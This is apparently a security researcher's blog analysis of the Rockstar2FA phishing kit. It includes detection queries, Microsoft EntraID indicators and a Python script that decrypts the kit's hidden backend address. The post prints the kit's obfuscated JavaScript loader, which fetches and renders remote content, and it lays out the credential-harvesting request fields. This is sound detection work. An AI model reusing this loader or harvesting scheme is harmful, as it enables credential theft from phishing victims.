- Published on
Rockstar2FA the Car Enthusiast Phishing Kit
- Authors
- Name
- Joshua Rawles
Executive Summary
Rockstar2FA, originally known as Dadsec OTT, is a phishing-as-a-service (PHaaS) kit, well-known for references to car-enthusiast webpages. This PHaaS generates thousands of phishing URLs monthly, directing victims through a Cloudflare turnstile before displaying a fake Microsoft login page. This setup effectively bypasses many automated scans and security filters. Using evasive techniques, like frequent changes to HTML comments, randomly generated function names, and JavaScript obfuscation, Rockstar2FA complicates detection by hash or similarity-based methods.
For organizations using Microsoft EntraID, high-fidelity indicators include sign-ins utilising the Office365 Application ID (72782ba9-4490-4f03-8d82-562370ea3566) and a user agent string that reads as:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.22621
This analysis also identifies key IOCs and behavioral patterns found across Rockstar2FA portals, raising awareness and enabling defenders to be aware of and start detecting these pages effectively.
Introduction
Rockstar2FA previously known as Dadsec OTT has been one of the most active and well observed phishing kits in the wild. With 1000s of URLs being submitted to URLScan every month. This kit is well known by its references to car related websites. In this blog we will explore the techniques displayed in the portals and possible IOCs to watch out for.
Portal Gates
Links to these phishing portals are distributed in multiple different ways, including shared documents, phishing emails and more. Once the user falls victim to the phish they will proceed through a cloudflare turnstile then towards a classic fake Microsoft sign-in webpage. This is similar to how other previously discussed PHaaS portals such as Tycoon work so we wont go into more detail here. Lets focus instead on the defense evasion and exfiltration.
Before even proceeding to the Fake Microsoft sign-in page there are some checks and balances. First, the classic cloudflare turnstile will be there to prevent automated scanning. Usually after this check the website will first make a post request towards another domain, again usually posing as a legitimate car enthusiast web-page. Depending on unknown reasons the server will either display the "car" content, or the fake Microsoft sign-in page. Ive attempted to play around with this using different user-agents and scanning tools, however results were inconclusive as to what causes the change.
Cloudflare Gate
Cloudflare Obfuscation
If you attempt to view this page on URLSCAN you will usually just get the image of the cloudflare prompt. The DOM content will only display what is required for the cloudflare turnstile and thats it, however, there are some key indicators that will provide a reasonably high fidelity list of Rockstar2FA portals during the cloudflare stage.
The HTML structure, metadata, CSS styling, Cloudflare Turnstile script, form structure, and general layout of comments remain the same across all samples, with only minor variations in some attributes and specific content. Each portal has randomly generated comments and function names preventing hashing and similarity searches.
URLScan Query (free)
From analysing multiple true positive webpages on URLScan the following can be utilised:
filename: "api.js" AND filename: "/" AND filename: "favicon.ico" AND page.tlsIssuer: "WE1" AND page.mimeType: "text/html" AND page.url:/.*\/[A-Za-z0-9]{4,5}\//
Field | Description |
---|---|
filename: "api.js" | Filters results to include only pages that contain the Cloudflare Turnstile file "api.js". |
filename: "/" | Ensures that the root file (/) is also present in the page resources. |
filename: "favicon.ico" | Includes pages that have the favicon.ico file. |
page.tlsIssuer: "WE1" | Filters pages where the TLS certificate issuer is “WE1,” related to Cloudflare challenges. |
page.mimeType: "text/html" | Narrows down results to pages with an HTML MIME type, ensuring the primary page content is HTML. |
page.url:/.*\/[A-Za-z0-9]{4,5}\// | Applies a regex pattern to the page URL, where the URL should end with a segment containing 4-5 alphanumeric characters followed by a trailing slash (e.g., /abcd/). This is usually how Rockstar2FA pages are made up. Some similar phishing pages such as Tycoon may also appear in the results. |
Note: There are a low amount of legitimate domains appearing but you can filter these out afterwards, also this isnt a perfect search but good for free URLScan users.
If you have URLScanPRO or Enterprise you can likely come up with some more creative ways to search for these based on the DOM content, Frames and more.
always in DOM content:
src="https://challenges.cloudflare.com/turnstile/v0/api.js"
form method="POST"
{document.forms[0].submit();}
<div class="mt-2">
<style> body{font-family:Arial,sans-serif}.container{margin-top:50px;display:flex;justify-content:center}.centered-content{text-align:center;max-width:500px}.fs-5{font-size:1.25rem;display:block}.mt-2{margin-top:.5rem}.mt-5{margin-top:3rem}.text-muted{color:#6c757d} </style>
- Some kind of references to cars or energy.
AnyRun Queries
AnyRun released some decent regex searches you can utilise on URLScan too, aswell as some pre-linked searches for AnyRun. Some of the regex searches will mostly be for the backend server pages and "Google" fake sign-in pages.
Secret Gate
The next section of the phishing page following the cloudflare turnstile will load depending on the response from the server. If the portal is loaded the page source will contain a script.
<script>
async function laboratory(iambus) {
var {a, b, c, d} = JSON.parse(iambus);
return CryptoJS.AES.decrypt(a, CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d), CryptoJS.enc.Hex.parse(b), {hasher: CryptoJS.algo.SHA512, keySize: 64 / 8, iterations: 999}), {iv: CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
}
(async () => {
document.write(await laboratory(await (await fetch(await laboratory(atob(`<base64>`)), {method: 'POST', body: JSON.stringify({katydid: "dado"})})).text()));
})();
</script>
This JavaScript code uses a mix of cryptography and asynchronous operations to both post and retrieve encrypted data from a dedicated backend server.
The base64 actually contains the values a, b, c, d for cryptographic decryption. You can reverse this to print out the results with console.log in browser or a script like this. The output will be the server utilised for communication.
Responses from the server are decoded and rendered in the browser in a similar format. This is where either the "car enthusiast" or phishing page will be displayed depending on the servers response. The "car enthusiast" page is usually the same content that is displayed on the "server".
Note: all the functions in this example changes for every instance of Rockstar2FA portals however the structure stays the same.
Credential Harvesting
The phishing page will send data as you enter it through to the backend server through POST requests. The POST request will be to a random numbered "PHP" file hosted on the backend server. The below table shows the fields and responses.
Expected Fields/Values
Field | Description | Value/Example |
---|---|---|
do | Specifies the action being requested. | "check" – For check operation "le" – For login event |
em | User's email, required when do is "check" . | <email> |
px | User's password, required when do is "le" . | "password" |
sec | Security token from the server for tracking purposes. | "token from server" |
Expected Responses
Action (do) | Response Type | Response | Description |
---|---|---|---|
check | Good Response | {"status":"success","token":"<token>"} | Indicates a valid email and issues a token. |
check | Bad Response | {"status":"error"} | Indicates an invalid email. |
le | Good Response | {"status":"1"} | Indicates a successful login event. |
le | Bad Response | {"status":"0","message":false} | Indicates a failed login, with an error message. |
Backend Server
The backend server does all the heavy lifting sending content, receiving credentials etc. The thing is if you try to analyse this server it looks like the classic innocent car page. However, when you analyse the traffic on the phishing page you will notice the Post Requests and responses from it. When visiting the page, content is loaded dynamically, if you constantly refresh you will notice the car pictures changing.
Just doing a quick censys search based off a HTML header for one site, around 50 more were discovered. If you find one on URLScan the "similar" function will also display more of the servers.
services.http.response.html_tags="*Rare Finds Car Network*"
M365 Indicators
In EntraID a high fidelity indicator (tested from multiple platforms) can be found in sign-in logs containing:
- Office365 Application ID: 72782ba9-4490-4f03-8d82-562370ea3566
- User Agent of: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.22621
Conclusion
Rockstar2FA is a another reminder of the continual evolving threat of phishing-as-a-service operations today. Its strategic use of legitimate-looking portals and evasive techniques requires defenders to be proactive in their approach in identification. Recognizing this platform’s indicators, such as how the website is built, credential-harvesting mechanisms, and awareness of the backend serves, enables a more informed, targeted response. As Rockstar2FA and other kits evolves, cybersecurity teams must continuously adapt detection and monitoring strategies to identify and respond. In future blogs we will explore current strategies for detecting and preventing adversary-in-the-middle attacks through phishing kits, so stay tuned!
References
Appendix A
Rockstar2FA AES Reversal script
Replace 'base64' in the base64_data variable with the one present in the page source to get the backend server. You may be able to use this for the responses too but its honestly easier to log it in the browser console.
import base64
import json
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Cipher import AES
from Crypto.Hash import SHA512
from Crypto.Util.Padding import unpad
# Step 1: Base64 decode to JSON
base64_data = '<base64>'
decoded_data = base64.b64decode(base64_data)
json_data = json.loads(decoded_data)
# Extract `a`, `b`, `c`, and `d`
a = json_data['a'] # Encrypted data in hex
b = json_data['b'] # Salt in hex
c = json_data['c'] # IV in hex
d = json_data['d'] # Password in hex
# Step 2: Derive the AES key using PBKDF2 with a 16-byte (128-bit) key length
salt = bytes.fromhex(b)
password = bytes.fromhex(d)
key = PBKDF2(password, salt, dkLen=32, count=999, hmac_hash_module=SHA512) # Changed dkLen to 16 bytes
# Step 3: Prepare for AES decryption
iv = bytes.fromhex(c)
cipher = AES.new(key, AES.MODE_CBC, iv)
# Step 4: Decrypt and unpad
encrypted_message = base64.b64decode(a)
decrypted_data = unpad(cipher.decrypt(encrypted_message), AES.block_size)
result = decrypted_data.decode('utf-8')
print("Decrypted Data:", result)